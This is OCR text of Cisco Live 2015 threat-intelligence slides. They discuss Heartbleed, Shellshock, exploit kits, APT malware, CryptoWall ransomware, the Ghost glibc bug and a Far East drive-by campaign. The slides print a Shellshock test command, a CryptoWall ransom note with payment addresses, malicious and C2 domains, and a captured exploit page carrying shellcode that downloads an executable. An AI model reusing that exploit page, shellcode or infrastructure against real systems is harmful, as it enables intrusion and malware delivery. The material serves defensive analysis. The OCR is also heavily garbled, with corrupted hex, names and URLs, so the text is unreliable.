domain owner/operator Note - Visit PrivacyProtect.org to centact the domai

n owner/operator

Registrant City: Nobby Beach

Registrant State/Province: Queensland
Ramistrant Bastal Pade: ATR 471R

Records

Displays various information related to AS, BGP, Routes and Location.

Base Record Preference Name IP Number Reverse Routes AS Location
us2.mx1.mailhostbox.com|208.91.199.205/us2.mx1.mailhostbox.com|208.91.198.0/23
MX 100 us2.mx2 mailhostbox.com|208.91.199.202|us2.mx2.mailhostbox.com|208.91.199.0/24 SP-Confluence AS40034 CONFLUENCE-NETWORK-INC Confluence Networ|United States

us2.mx3.mailhostbox.com|208.91.199.226(us2. mx3.mailhostbox.com|CONFUUS-TX2
ns1.viphostseo.com
ns2.viphostseo.com

starshem-egy.com

NS ns3.viphostseo.com
ns4.viphostseo.com
SOA selom70.gmail.com

ns1.viphostseo.com

WISV Y VF
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Mitigations

W erevealed and blocked the entire infrastructure
* Associated domains (>20)
 Revealed malware MD5

Cloud Web Security

W eb Security Appliance
IPS

- ESA

Cisco (l V&/
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What is Heartbleed?

If the specified heartbeat request length is larger than its actual length, this
memcpy() willread memory past the request buffer and store it in the response
buffer whichis sent to the attacker

OpenSSL1.0.1-1.0.1f are vulnerable

Bug was introduced in December 2011 but not found/disclosed until April
2014

— OpenSSL is used by 2/3 of Internet web servers and many products

Approximate 534,156 services are vulnerable

— STILL over 120,000 vulnerable

Cisco was one of the first security companies to provide IPS coverage

Cisco (lVf:/
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Security Impact

* Bigger than 443
* Any SSL service is being targeted
* Most prominent sites have already patched
* Many, many, smaller sites are not patched...

* Worst case: Privatekeys, credentials and more leaked
 Hijacked accounts -> more exploit kits
« Embedded devices are unlikely to patch
* May enable lateral movement
« Without security monitoring there is no real way to know if you were exploited

» The client side attack is also concerning

Cisco (lVf/
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Network Telemetry Attacker Sources

ol “CA
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Network Telemetry Successful Attacks

s : RU P
097% 455% '

0.11%

0.22%

Ciscoll Vfrl
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Attacker Success

Response
12.53%

No Response
87.47%

Cisco (l Vf/
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Services Being Targeted

AT A ilux.

Destination Port/ICMP Code
M 465 (smtps)/tcp
B 995 (pop3s)/tcp
B 993 (imaps)/tcp
B 443 (https)/tcp

Cisco (l pr/
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Services Attack Success

Source Port/ICMP Type

B 465 (smtps)/tcp
995 (pop3s)/tcp

I 993 (imaps)/tcp

W 443 (https)/tcp

Cisco (l pr/
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Client Side Exploitation is a Reality

Client ports
5.39%

Server Ports
94.61%

Cisco (l Vf/
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Alert Volume...

25%

20%

15%

% of Total Volume

10%

5%

0%
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Shellshock: CVE-2014-6271

env x='() { ::}; echo vulnerable’' bash -c "echo this is a test"

$h-3.25 env ='() { 5} echo wise
rable' bash -c "echo this is » test

vulnerable
this "Ls 2 test

Cisco ((V&/
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Shellshock Exploitation

env x='() { :;}; echo vulnerable' bash -c "echo this is a test”

We 15t detected attempts to exploit Shellshock 0400 GMT 24 Sept.
2500 | Product Protection

2000 | AMP 7

L'}
E
_: 1500
: CWS N/A
glooo T
2
ESA N/A
500
Network 7
0 T T T T T T T T T T T T T T T T T T T T T T T T T T T T T .
Date 24/09/2014  25/09/2014  25/09/2014 26/03/2014  26/05/2014 27/09/2014 27/09/2014 27/09/2014 28/09/2014 28/09/2014  25/03/201: Secunt‘y’
23:00 09:00 19:00 05:00 15:00 01:00 11:00 21:00 07:00 17:00 03:00
Date & Time

WSA N/A

Cisco (l pr/
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Shellshock Creativity

Types of Activity

BRKSEC-2010

lllegitimate Probing (no exploitation)
Cloud-based and/or other legitimate
scanners (no exploitation)

Lateral movement/ Privilege
escalation

Attempts to establishreverse shell
Attempts to retrieve sensitive files
(passwdfile, HTTPS certificate, etc.)
Stealing bitcoins

Remote patching attempts

© 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public

Affected Protocols & Programs

HTTP (typically cgi)
DHCP

SSH

inetd

gmail, procmail, exim

OpenVPN
?7?7?

Cisco (l Vfrl



Mitigations
+ This will be around along time
* Upgrade AMP W
 Stillmany vulnerable machines out
there CWS N/A
ESA N/A
Network
Security v
WSA N/A
Cisco((l/&/
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Threat: APT

Cisco (l pr/
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Exploit Kits

Cisco (l Vf/
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Evolving Exploit Kits

Java drop 34%

Shifts in the attack vectors o
Silverlight rise
Java 228%

PDF .

Flash

Silverlight

Dec.2012 Jan.2014 Sep 201 A

Log Volume Clsco(l Vfr
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Exploit Kits

:..i. llF'I;SD_lu
pSin — fametion() Component  Vulnerability
“var hukFK - "bexrkL7 RRESL CVE-2014-0515

rcEqHs( "ndLy " + ° Actlive X CVE-2013-7331

Internet Explorer CVE-2013-2551
Silverlight CVE-2013-0074
CVE-2012-0507
CVE-2010-0188

BRKSEC-2010 © 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public
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Group 72

“Operation SMN” refers to the takedown of a threat actor that has targeted and
exploited individual victims and organisations worldwide. Cisco was one of the
participantsin this effort.

B|t9+FAHBON .'clllf:éloh FSEcureg {_(") FlreEye

ARM YOUR ENDPOINTS. RITY REIMAGIMED

""J.

i - ® »
L% ISIGHTPARTNERS tEI'IEble ';“‘ [HREATCONNEC]

IIIIIIIIIIIIIIII

&3 Threatlrack. .
e OVOLEXITY

Cisco (l pr/
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Mitigations
27964
- PoisonlVY/ DarkMoon — AMP V4
Win.Trojan.DarkMoon, 7816, 7815, 7814,
7813, 12715, 12724 CWS N/A
* Hydraq — Win.Trojan.HyDraq, 16368, 21304
ESA N/A
« HiKit — Win.Trojan.HiKit, 30948
- Zxshell — Win.Trojan.Zxshell, 32180, 32181 Network 7
Security
* DeputyDog — Win.Trojan.DeputyDog, 28493,
29459 WSA N/A

* Derusbi — Win.Trojan.Derusbi, 20080

Cisco (l V&/

BRKSEC-2010 © 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public 90






P 4 CUNEEAREE N\ |G e ] R IR

Wiper Malware

* Good enough developmentcycle
 If you don’tneed an F1 car why build one?

« Agrowingtrend?
* Many verticals targeted..
* Oil & Energy
« Electronics

¢ Entertainment
« Banking & Finance

* Many reasons using wipers may makesense..

Cisco (l V&/
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Building a Better Mousetrap

v Follow TCP Stream

Stream Content

pooepEEe 28 00 Ba Bb fa b7 57 49 4e 58 50 2d 53 560 33 2d (..... WI NXP-S5P3-
peOeee1e 58 38 36 00 ac 71 80 6b ab 71 ff ff ff ff 63 6b X86..9.k .qg....ck
BEEEeE20 ab 71 d5 13 40 60 084 80 00 68 R P

- Follow TCP Stream

Stream Content

OpOEEEe 2B @0 Ga Ob fa aa 4d 41 52 43 5a 5f 57 37 45 4e (..... MA RCZ WYEN
00000818 54 5f 53 50 31 €0 a9 de 7f 86 fe ff ff ff eb 3b T SP1... ....... ;
POOEEO20 60 76 d5 13 460 00 04 08 00 60 v..@...

Cisco (l pr/
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Protecting the Customer

 Talos always wantto deliver up-to-date

detectionfor the latest threats in the quickest Product Protection
most efficient manner possible.

» The quality of the detection should never be AMP 4
dismissed
ek CWS v
* For full details, please read our blog:
http://blogs.cisco.com/talos/wiper-malware ESA N/A
Network
: 4
Security
WSA 4

Cisco (l V&l
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Cryptowall 2.0

« Data is the new target

 Ransomware
— Becoming more popular
— Using more evasive technigues

BRKSEC-2010 © 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Pu

What happened to your files?

Al of your files were protected by a strong encryption with RSA-2048 using CryptoWall 2.0.
More information about the encryption keys using RSA-2048 can be found here: hitp//en.wikipedia.org/wikilRSA (cryptosystem
What does this mean?

This means that the structure and data within your files have been irmevocably changed, you will not be able to work

with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.

How did this happen?

Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.

All your files were encrypted with the public key, which has been transferred to your computer via the Internet.

Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.

What do | do?
Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.
If you really value your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.

For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:

1.https:/ipaytordmbdekmizq.tordpay.com/1 NNk3ij
2.https:lipaytordmbdekmizq.pay2tor.com/1 NNk3ij
3.https:/ipaytordmbdekmizq.tor2pay.com/1 NNk3ij
4.https:/ipaytordmbdekmizq.pay4tor.com/1NNk3ij

If for some reasons the addresses are not available, follow these steps:

1. Download and install tor-browser: hitp://www torproject.org/projectsitorbrowser. html.en
2. After a successful installation, run the browser and wait for initialization.

3. Type in the address bar: payterdmbdekmizg.onion/1 NNk3ij
4. Follow the instructions on the site.

IMPORTANT INFORMATION:

Your Personal PAGE: https://ipaytordmbdekmizg.tordpay.com/1NNk3ij
Your Personal PAGE(using TOR): paytordmbdekmizg.onion/1NNk3ij

Your personal code (if you open the site (or TOR 's) directly): 1NNk3ij
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Evasive Techniques Dropper

Encrypted Binary

Initial
* Anti-VM check Decryption
* Uses TOR for Command & Control
* Runs 32-bit & 64-bit code simultaneously
Not in VM
Run Finall
Cryptowall Decryption
Cisco((l/&/
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Stopping Ransomware

AMP 7
- Before: CWS v
- ESA Stops the spam whichis the primary infection vector. ESA 4
. Network v

* During: Saciifier
WSA 7

AMP, NGFW, IPS in additionto CWS & W SA detectand
block attempts at downloading malware.

« After:

* IPS & NGFW identify and block malware operation and
Spread.

For more information, see our blog entry: http://blogs.cisco.com/security/talos/cryptowall-2

Cisco (l V&/

BRKSEC-2010 © 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public


http://blogs.cisco.com/security/talos/cryptowall-2

-

T
- T
L |

AR | .

|

1 L Qf‘i L T T
Ghost




S Ay’ .  h . L AN VISR 00 aaE NN B ————
Ghost in the Machine — CVE-2015-0235

Attacker sends crafted email with
user@malformeddomain in header

—#

* 0-day wulnerabilityin GNU C Library
— gethostbyname()
— gethostbyname?2()

* An Exploit for the Exim mail server Email server attempts to resolve

exits that bypasses "malformeddomain” and suffers
— ‘bypasses all existing protections buffer overflow with
(ASLR, PIE, NX) on 32-bit and 64-bit potential exploitation
machines”
— A Metasploit module is intended to be
released :
Cisco(l V&/
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Ghost in the Machine — CVE-2015-0235

* How bad is it really? ;
— Application must accept hostname input to Product Protection

one of the deprecated functions BUT ..

— Malformed hostname must consist of digits AMP N/A
and only three dots or less
» What kind of software could be CWS N/A
vulnerable?
— Relatively few real-world applications ESA N/A
accept this type of data as input
— Ex: Exim mail server, procmail, pppd and Network 7
others Security
« A patch has existed since May of 2013
but security impact not realised- WSA N/A
PATCH

Cisco (l Vf/
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Defence in Depth

* One product rarely protects against everything

» Additional layers of security offer additional changes of
stopping the bad guy

 Follow us: blogs.cisco.com/Talos
* Follow me on twitter: @acchiu_security
« Annual Security report: www.cisco.com/go/ASR

1dLos .

BRKSEC-2010 © 2015 Cisco and/oritsaffiliates. All rightsreserved. Cisco Public
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Call to Action

Visitthe W orld of Solutions for
— Cisco Campus —

— Walk in Labs —

— Technical Solution Clinics

Meet the Engineer

Lunchtime Table Topics

DevNet zone related labs and sessions

Recommended Reading: for reading material and further resources for this
session, please visit www.pearson-books.com/CLMilan2015

Cisco (l V&/
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The Challenges Come from Every Direction

Complicit

Sophisticated A h
\ R 4 Users

Attackers

Boardroom
Engagement

Defenders
'_-- L
. Misaligned
-

] .
mm Policies

Complex
Geopolitics

Cisco (l V&/
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2015
Annual Security Report

Cisco 2015 Annual Security Report
Now available:

cisco.com/go/asr2015

Cisco (lVf/
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Complete Your Online Session Evaluation

Give us your feedback and receive a
Cisco Live 2015 T-Shirt!

Complete your Overall Event Survey and 5 Session
Evaluations.

* Directly from your mobile device on the Cisco Live
Mobile App

By visiting the Cisco Live Mobile Site
http://showcase.genie-connect.com/cimelbourne2015
* Visitany Cisco Live Internet Station located

throughout the venue Learn online with Cisco Live!

Visit us online after the conference for full
T-Shirts can be collected in the World of Solutions accessto sessionvideos and
on Friday 20 March 12:00pm - 2:00pm presentations. www.CiscoLive APAC.com

Cisco (lVf/
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Far East Targeted by Drive by Download
Attack




Far East Targeted by Drive by

* Began BlockingJuly 11 2014

 Affected 27 companies across 8 verticals
— Not a watering hole

30

20
10
. /\
Frijul 11 Sun Jul 13 Tue Jul 15 Thu Jul 17 sat Jul 19
2014
BRKSEC-2010

© 2015 Cisco and/oritsaffiliates. All rightsreserved.
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Mo Jul 21

= WAWW . BAN0N. ComLTW
www e pBi.com.iw

— Wi, Hengpuu.com.bw

= WIWW, NPEC.COM. MW
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User redirected

User navigates to
legitimate site

anc.club.tw
hklawsoc.org.hk
city.mirrorbooks.com
chinalaborwatch.org
beijingspring.com
dwnews.com

ep66.com.tw
aanon.com.tw

hongpuu.com.tw
npec.com.tw

Receives
shellcode and
executes

Drops DLL and
contacts CNC

app.gohub.info

L1

app.qohub.info

T
[1

AR e TSN

Shellcode passed
to malicious flash
file

CVE-2014-0515

Malicious
executable
dowloaded
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Far East Targeted by Drive by

« Sites hosting malicious content:
— ep66.com.tw
— aanon.com.tw
— hongpuu.com.tw
— npec.com.tw

 Flash file exploited CVE-2014-0515
— obfuscated

Cisco (l Vfr/
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Far East Targeted by Drive by

<html>

<body>

<object classid="clsid:d27cdbbe-aebd-11cf-96b8-444553540000" codebase="http://download.macromedia. com/pub/shockwave/cabs/flash/swflash.cab” width="1" height="1" />

<param name="movie" value="flash.swf" />

<param name="allowScriptAccess” value="always" />

<param name="FlashVars” value="sh=0x81ec8b55,0x000400ec,0x33575300,0x0177e8db, 0xF88b0000 , 0x9868016a,0x570e8af e, 0x00019de8 , OxFO458990 ,0xca336853,0xe8575b8a , Ox0000018
e,0x53fc4589,0xac223868,0x7fe857e7 ,0x89000001 ,0x6853f845 ,0x78b5bO83 , 0x0170e857 , 0x45890000 , 0x0095e8ec , 0x01600000 , 0x2f1a3668 , 0xSbe85070 , 0x89000001 , 0x858df445 ,0xfffffeed
,0x01046850, 0x55f f0000 , 0xe4858dfc,OxSOfffffd,0x858d5353,0xfffffee8,Oxf855FF50,0x858d5353, Oxfffffded,0x0041e850,0x53500000 ,0x6af4458b , 0xaae85005 , 9x53000000 , 0xfded858d,
OxBbSOFFff,0x026af045,0x0097e850,@x6a530000 , OxecSSFFff,0x00c7e855 , 0xe88b0000 , 0x4048c033, Ox00R57 80, Oxebd274c3 , 0x8bed316 , 0xe8c35dcS , Ox00000000 , 0x05e88358 ,0x4128d05,0
X2cc12dd, 0x6ac30041 , 0x68006000 , 0x00006e6f , Ox6c727568 , 0x0015e86d , 0x6ac30000 , 0x68006000 , 0x706C6865 , 0x616d6968 , 0x0001e867 , 8x55c30000 , 0xecB83ec8b,0x57565110, @x8dS59946a,0x
758df07d, 0x8daSf308,0x6a501045,0xS0c03301, 0xdede8ebs , 0x004fe8ec , Oxe8500000 , 0x0000007e , 0x0007e850 , 0xS5e5 0000 , 0x10c2c959, 8xec8bS500,0x5184ec83, Ox458b5756 , 0xfc458908 ,0x8
ddc4dBb ,0x758d0c7d,0x8ba5f310,0x07890445 ,0x ffff4be8 , 0x084589f f ,0xS5ffca58b,@xc483595¢e,0xc4835d04 , OxecB8b5504 , OxFFOScBB3, 0x575651e0,0x8b64c033 , 0xc9333040,0x768bf@8b, Oxlic
768b0c , 0x8008468b , 0x368b207e , 0x18413966 ,0xS5eS5f 275, 0xc033c359, 0x30408b64 , 0x8bOC488b , 0x408b1c49, Ox8bS5¢308,0x515657ec , @x7d8bS352 , 0x10758b0c , 0x56086d8b , 0x3¢c758b36,0x357
48b36,0x56f50378,0x20768b3e, @xc9331503,0x330d4149, Oxbedf36db , Oxd63a2814 ,0xcbc10874 ,0x40da030d , Oxdf3befeb,Ox3eSee?75,0x03245e8b , Ox8b3e66dd , 0x85584bdc , 0x510974c0 , 0x0017
€855, 0x0cebdddd , 0x1cSeBb3e, 0x8b3eddd3 , 0xcS038b04 , 0x5e595a5h, @x0cc25d5f , Oxec8b5500 ,0x0134ec81, 0x53570000 , @x4ae8db33 , OxBbf f Ffff ,0x76685318 ,0x5745b06d,@xffff71e8,0xe4858
Of f,OxS3fffffe,0x00170568,0x5fe8577¢,OxB8If FFfff,0xfffeed8S,0x296853fFF,0x5756c612,0xffffades,@xdc8589ff ,0x53Fffffe,0x073¢c5968,0x3be8577b,0xB8IFFFF{f,0xfffedB88S,0x596853
ff,0x57b20892 ,0xffff29e8,0xd08589ff ,0xS3fffffe,0xfdI7fb68,0x17e8570f ,0xB8If FFfff,OxfffeccsS,Oxfeddesff,OxFB8bFFff,0x41186853,0xe8575393,0xfffffefe,O0xfed48589,0x8584df ff
f,oxfffffefc,0x00010468 ,0x75f 5000 ,0xed495f 08, 0x8df ffffe,0xfffefc85,0x806853ff , 0x6a000000 ,0x01605303 , 0x00000068 , 0x07605080, 0xfee@bSFf ,Oxdeedffff,Ox89fffffe,Oxfffef885
,0x535353ff ,0x5053026a, OxfedcISFf,Ox8589fF Fff ,OxFFfffefs,0x6a535353,0x95FF5004 ,O0xFffffed8,0xfefO8589,0x788bf Fff,0x89f8033c,0xfffeechd,Ox77fF53ff,0xfObSFF78,0xfFfffffe,
OxfffeechS,@xd49SfFff, Ox89fffffe,Oxfffee88S,0x70ff53ff,0xfRbSFfic,Oxfffffffe,OxfffeechS,Oxdd95ffff,Ox66fffffe,dx8b0cSd8b,0x5d809804 ,0xffd80308 ,0xfffefObS,xdd9SFfff,0
xfffffffe,0xfffef4bs,0xccoSFfff,Oxfffffffe,Oxfffef8bS,OxccaSFfff,Ox8bfffffe,0xco5f5bc3,0x000008c2 ,0x68000000,0x3a707474 ,0xX77772f2f ,0x70652e77 ,0x63223636 ,0x74206d6f ,0x
65732177 ,0x2e707574,0x00657865 ,0x?77_77 , 0x00000000" />

<param name="Play" value="true" />

</object>

</body>
</html>

Cisco ((Vt’;/
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Far East Targeted by Drive by

h:pttww//pe.wc.66t.moes/w.putexe

h:pttww//pe.wc.66t.moes/w.putexe
h
ttp:
!/ fww
W.ep
66.C
om.t
w/se
tup.

exe

http://www.epbb.com.tw/setup.exe
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Far East Targeted by Drive by

* Encryption key “Fifa@Brazil14”
* Port 443 but not SSL

78 78 38|37 32 3 g I B3 = . 1 =A% &
12 88 K 78 2E 7 ? 6B ¢ 2 |lopEEE Jlapp. qohul
HF H 1 Hi, k b . 1 ¥ HHAIl . 1nto = T AR

FF FF FF |45 A1 46 69 66 61 [ FAP Fifa
&9 6C 31|34 FB 83 , 72 67 |PBrazilldive

B0 B8 @8 |88 & [ 1 | BB | Cry

HE BH @8 | A § 1 E HH

Cisco (lVf/

BRKSEC-2010 © 2015 Cisco and/or its affiliates. All rightsreserved. Cisco Public 117



P P CENEEAREE N\ |\ e R e SN

Mitigations Product Protection
* Blocklist
— ep66.com.tw WSA 4
— aanon.com.tw
— hongpuu.com.tw CWS Y
— npec.com.tw
- CVE-2014-0515 Network v
. AMP Security
AMP 7
ESA

Cisco (l Vfrl
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